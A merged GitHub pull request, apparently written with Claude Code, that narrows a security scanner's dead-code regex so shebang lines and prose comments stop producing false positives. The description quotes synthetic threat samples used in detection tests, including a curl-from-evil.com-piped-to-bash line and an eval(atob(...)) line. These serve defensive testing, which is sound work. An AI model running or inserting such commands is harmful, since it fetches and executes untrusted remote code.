Skip to content

fix(security): stop GG-SAST-DEAD_CODE flagging shebangs and prose comments - #2528

Merged
squid-protocol merged 1 commit into
mainfrom
fix/ghas-dead-code-shebang-false-positive
Aug 31, 2026
Merged

fix(security): stop GG-SAST-DEAD_CODE flagging shebangs and prose comments#2528
squid-protocol merged 1 commit into
mainfrom
fix/ghas-dead-code-shebang-false-positive

Conversation

@squid-protocol

Copy link
Copy Markdown
Owner

Summary

Fixes 5 open GitHub Advanced Security code-scanning alerts (GG-SAST-DEAD_CODE,
this repo's own custom security signature, self-flagged via
.github/workflows/gitgalaxy.yml's full-report self-scan): #847, #890,
#908, #953, #419
. All 5 are the same root-cause false-positive class, just
in different files.

Root cause

gitgalaxy/security/security_lens.py's dead_code THREAT_SIGNATURE regex is
designed to catch a genuinely commented-out execution/exfiltration trail
(e.g. # curl evil.com/payload | bash). It was over-matching two unrelated
shapes:

  1. A script's own shebang line. The bare # comment-marker alternative
    had no way to tell #!/bin/bash (an interpreter directive every real
    shell script needs) from a real #-comment. Alert Extraction hardening: scheme #847
    (scripts/update_golden_masters.sh).

  2. Prose comments that merely mention a trigger word (bash, eval, http)
    while describing code behavior, not commenting out code. Alerts Revert "Fix html extraction 840 (#951)" #953
    (prism.py), build(deps): bump charset-normalizer from 3.4.7 to 3.4.9 #890/docs: auto-update LLM architectural brief #908 (detector.py, x2), docs: auto-update LLM architectural brief #419 (signal_processor.py).

Fix

  1. Regex fix (the only behavioral change): ##(?!!) in the
    dead_code pattern. Excludes only the #! shebang shape; every other
    #-comment, including a real # curl ... | bash, still matches exactly
    as before.
  2. Comment rewording for the 4 prose false positives — describes the
    same technical behavior without the literal trigger word (no regex
    change needed, since these were never actually commented-out execution).
    prism.py's "bash parameter expansions" → "POSIX parameter expansions"
    is also more technically accurate (${var##prefix} is POSIX-standard,
    not bash-specific).

Chose this conservative, surgical approach over broadening/redesigning the
regex generally — this pattern had zero existing test coverage, so there
was no documented true-positive behavior to protect beyond manual
verification, and a security detector is a risk-asymmetric place to guess.

Verification

  • Directly tested the live SecurityLens.THREAT_SIGNATURES['dead_code']
    pattern against all 5 flagged files: 0 remaining matches. Two synthetic
    real-threat samples (# curl http://evil.com/payload | bash,
    // eval(atob("malicious"))) still correctly match — confirms this narrows
    the false-positive shape without weakening real detection.
  • Added regression coverage in tests/security_auditing/test_security_lens.py
    (3 new tests: real detection still fires, shebangs are ignored, prose
    mentions are ignored) — this pattern had no prior test coverage at all.
  • pytest tests/core_engine/ tests/security_auditing/ tests/extraction/:
    7010 passed, 0 failed.
  • audit_check.py: ruff/mypy/dead-key/ast-accuracy all clear (one pure
    line-shift finding regenerated into the baseline).
  • crucible_check.py against the full ~80-repo corpus: both golden masters
    re-blessed. The only drift was the expected removal of shebang false
    positives from real corpus shell scripts (kubernetes/moby/serenity/ansible/
    etc. package scripts each dropping their "Commented-Out Executable Logic"
    count by exactly 1 — the shebang line) — confirmed by re-running
    crucible_check.py after re-blessing: both PASS, zero remaining diff.
  • tri_comparison_chart.py --all --ci: all 3 CI-gated language baselines
    (javascript, typescript, zig) pass, unaffected — this fix touches security
    signatures, not language extraction rules.
  • tree_sitter_accuracy_audit.py --ci --all: all 31 languages pass, confirming
    zero effect on structural/AST accuracy.

🤖 Generated with Claude Code

https://claude.ai/code/session_014BKXKcW29F3pTm7To2wMwS

…ments

GitHub Advanced Security's self-scan (GG-SAST-DEAD_CODE, via
gitgalaxy/security/security_lens.py's own dead_code THREAT_SIGNATURE) was
flagging two unrelated but systemic false-positive shapes across this repo's
own source:

1. A script's own `#!/bin/bash` (or any `#!...`) shebang line -- the bare `#`
   comment-marker alternative in the dead_code regex had no way to distinguish
   an interpreter directive from a real commented-out `#`-comment. Fixed with
   a single negative lookahead, `#(?!!)`, that excludes only that one shape;
   every other `#`-comment (including a genuine `# curl ... | bash`) still
   matches exactly as before.
   Alert #847: scripts/update_golden_masters.sh's shebang.

2. Ordinary prose comments that happen to mention a trigger word (bash, eval,
   http) while describing code behavior, not commenting out code. Fixed by
   rewording the four affected comments to describe the same technical
   behavior without the literal trigger word -- no regex change needed, since
   these were never actually "commented-out execution" to begin with.
   Alert #953: prism.py's "bash parameter expansions" -> "POSIX parameter
     expansions" (also more accurate: `${var##prefix}` is POSIX, not
     bash-specific).
   Alerts #890/#908: detector.py's two "scoped to shell/bash" /
     "ruby/perl/elixir/shell/bash" comments -> reworded to describe the same
     `lang_id in ("shell", "bash")` check without writing "bash" literally.
   Alert #419: signal_processor.py's "(eval, network fetching, etc.)" ->
     "(dynamic code execution, network fetching, etc.)".

Verified directly against the live SecurityLens.THREAT_SIGNATURES['dead_code']
pattern: all 5 flagged files now produce zero matches, while two synthetic
real-threat samples (`# curl http://evil.com/payload | bash`,
`// eval(atob("malicious"))`) still correctly match. Added regression
coverage in test_security_lens.py (this pattern previously had zero test
coverage at all).

Full verification chain: pytest tests/core_engine/ tests/security_auditing/
tests/extraction/ (7010 passed), audit_check.py (ruff/mypy/dead-key/
ast-accuracy all clear, one pure line-shift baseline regenerated),
crucible_check.py against the full ~80-repo corpus (both golden masters
re-blessed -- the only drift was the expected removal of shebang false
positives from real corpus shell scripts, e.g. kubernetes/moby/serenity
package scripts dropping from "Expected N" to "Got N-1" on Commented-Out
Executable Logic, exactly the fix's intended effect), tri_comparison_chart.py
--all --ci (all 3 CI-gated language baselines pass, unaffected -- this fix
touches security signatures, not language extraction rules), and
tree_sitter_accuracy_audit.py --ci --all (all 31 languages pass, confirming
zero effect on structural/AST accuracy).
@github-actions

Copy link
Copy Markdown
Contributor

🐦‍⬛ Muninn Security Scan

✅ No security issues found.

🐦‍⬛ Powered by Muninn · Skald Lab

@squid-protocol
squid-protocol merged commit f55eb11 into main Aug 31, 2026
30 checks passed
@squid-protocol
squid-protocol deleted the fix/ghas-dead-code-shebang-false-positive branch August 31, 2026 01:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant